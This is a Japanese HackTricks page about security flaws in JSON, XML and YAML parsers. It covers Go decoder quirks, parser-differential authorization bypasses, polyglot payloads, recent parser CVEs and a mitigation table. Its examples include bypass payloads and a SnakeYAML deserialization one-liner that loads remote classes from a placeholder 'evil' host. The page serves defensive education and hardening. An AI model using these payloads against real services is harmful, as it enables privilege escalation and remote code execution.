JSON, XML & Yaml Hacking & Issues
Reading time: 9 minutes
tip
AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
Go JSON デコーダ
Go JSON で以下の問題が検出されましたが、他の言語にも存在する可能性があります。これらの問題はこのブログ投稿で公開されました。
Go の JSON、XML、および YAML パーサーには、一貫性のない長い履歴と、安全でないデフォルトがあり、これを悪用して認証をバイパスしたり、権限を昇格させたり、機密データを抽出したりすることができます。
(Un)Marshaling 予期しないデータ
目的は、攻撃者が機密フィールド(例:IsAdmin
、Password
)を読み書きできる構造体を悪用することです。
- 例の構造体:
type User struct {
Username string `json:"username,omitempty"`
Password string `json:"password,omitempty"`
IsAdmin bool `json:"-"`
}
- 一般的な脆弱性
- タグが欠落している (タグなし = フィールドはデフォルトでまだ解析される):
type User struct {
Username string
}
ペイロード:
{"Username": "admin"}
-
の誤った使用:
type User struct {
IsAdmin bool `json:"-,omitempty"` // ❌ wrong
}
ペイロード:
{"-": true}
✔️ フィールドを(アン)マーシャルされないようにブロックする正しい方法:
type User struct {
IsAdmin bool `json:"-"`
}
パーサーの差異
目的は、異なるパーサーが同じペイロードを異なって解釈する方法を利用して認証をバイパスすることです。例えば:
- CVE-2017-12635: 重複キーによるApache CouchDBのバイパス
- 2022: XMLパーサーの不整合によるZoomの0クリックRCE
- GitLab 2025 SAMLのバイパスによるXMLの特異性
1. 重複フィールド:
Goのencoding/json
は最後のフィールドを取ります。
json.Unmarshal([]byte(`{"action":"UserAction", "action":"AdminAction"}`), &req)
fmt.Println(req.Action) // AdminAction
他のパーサー(例:JavaのJackson)は最初を取るかもしれません。
2. 大文字小文字の区別: Goは大文字小文字を区別しません:
json.Unmarshal([]byte(`{"AcTiOn":"AdminAction"}`), &req)
// matches `Action` field
ユニコードトリックも機能します:
json.Unmarshal([]byte(`{"aKtionſ": "bypass"}`), &req)
3. クロスサービスの不一致: 想像してみてください:
- Goで書かれたプロキシ
- Pythonで書かれたAuthZサービス
攻撃者が送信します:
{
"action": "UserAction",
"AcTiOn": "AdminAction"
}
- Pythonは
UserAction
を認識し、それを許可します - Goは
AdminAction
を認識し、それを実行します
データフォーマットの混乱 (ポリグロット)
目的は、フォーマット(JSON/XML/YAML)を混在させるシステムを悪用すること、またはパーサーエラーでオープンに失敗するシステムを悪用することです。例えば:
- CVE-2020-16250: HashiCorp Vaultは、STSがXMLの代わりにJSONを返した後、XMLパーサーでJSONを解析しました。
攻撃者が制御するもの:
Accept: application/json
ヘッダー- JSONボディの部分的な制御
GoのXMLパーサーはそれをとにかく解析し、注入されたアイデンティティを信頼しました。
- 作成されたペイロード:
{
"action": "Action_1",
"AcTiOn": "Action_2",
"ignored": "<?xml version=\"1.0\"?><Action>Action_3</Action>"
}
- Go JSON パーサー:
Action_2
(大文字小文字を区別しない + 最後が勝つ) - YAML パーサー:
Action_1
(大文字小文字を区別する) - XML パーサー: 文字列内の
"Action_3"
を解析する
注目すべきパーサーの脆弱性 (2023-2025)
次の公に悪用可能な問題は、安全でないパースが多言語の問題であることを示しています — 単なるGoの問題ではありません。
SnakeYAML デシリアライズ RCE (CVE-2022-1471)
- 影響を受ける:
org.yaml:snakeyaml
< 2.0 (Spring-Boot、Jenkinsなどで使用される)。 - 根本原因:
new Constructor()
が 任意のJavaクラス をデシリアライズし、リモートコード実行に至るガジェットチェーンを可能にします。 - ワンライナー PoC (脆弱なホストで計算機を開きます):
!!javax.script.ScriptEngineManager [ !!java.net.URLClassLoader [[ !!java.net.URL ["http://evil/"] ] ] ]
- 修正 / 緩和策:
- ≥2.0にアップグレード(デフォルトで
SafeLoader
を使用)。 - 古いバージョンでは、明示的に
new Yaml(new SafeConstructor())
を使用。
libyaml ダブルフリー (CVE-2024-35325)
- 影響:
libyaml
≤0.2.5(多くの言語バインディングで利用されるCライブラリ)。 - 問題:
yaml_event_delete()
を2回呼び出すとダブルフリーが発生し、攻撃者がこれをDoSや、場合によってはヒープの悪用に変えることができる。 - ステータス: 上流は「APIの誤用」として拒否したが、Linuxディストリビューションはポインタを防御的にnull-freeにするパッチを当てた0.2.6を出荷した。
RapidJSON 整数 (アンダー|オーバー) フロー (CVE-2024-38517 / CVE-2024-39684)
- 影響: Tencent RapidJSON コミット
8269bc2
以前(<1.1.0-patch-22)。 - バグ:
GenericReader::ParseNumber()
での未チェックの算術演算により、攻撃者が巨大な数値リテラルを作成し、それがラップアラウンドしてヒープを破損させる — 最終的に、結果として得られるオブジェクトグラフが認可決定に使用されるときに特権昇格を可能にする。
🔐 緩和策 (更新)
リスク | 修正 / 推奨事項 |
---|---|
不明なフィールド (JSON) | decoder.DisallowUnknownFields() |
重複フィールド (JSON) | ❌ stdlibに修正なし — jsoncheck で検証 |
大文字小文字を区別しない一致 (Go) | ❌ 修正なし — 構造体タグを検証 + 入力を事前正規化 |
XML ゴミデータ / XXE | 強化されたパーサーを使用 (encoding/xml + DisallowDTD ) |
YAML 不明なキー | yaml.KnownFields(true) |
安全でない YAML デシリアライズ | SafeConstructorを使用 / SnakeYAML ≥2.0にアップグレード |
libyaml ≤0.2.5 ダブルフリー | 0.2.6またはディストリビューションパッチ済みリリースにアップグレード |
RapidJSON <パッチ済みコミット | 最新のRapidJSON(≥2024年7月)に対してコンパイル |
参考文献
- Baeldung – “SnakeYAML 2.0でCVE-2022-1471を解決する”
- Ubuntu Security Tracker – CVE-2024-35325 (libyaml)
tip
AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。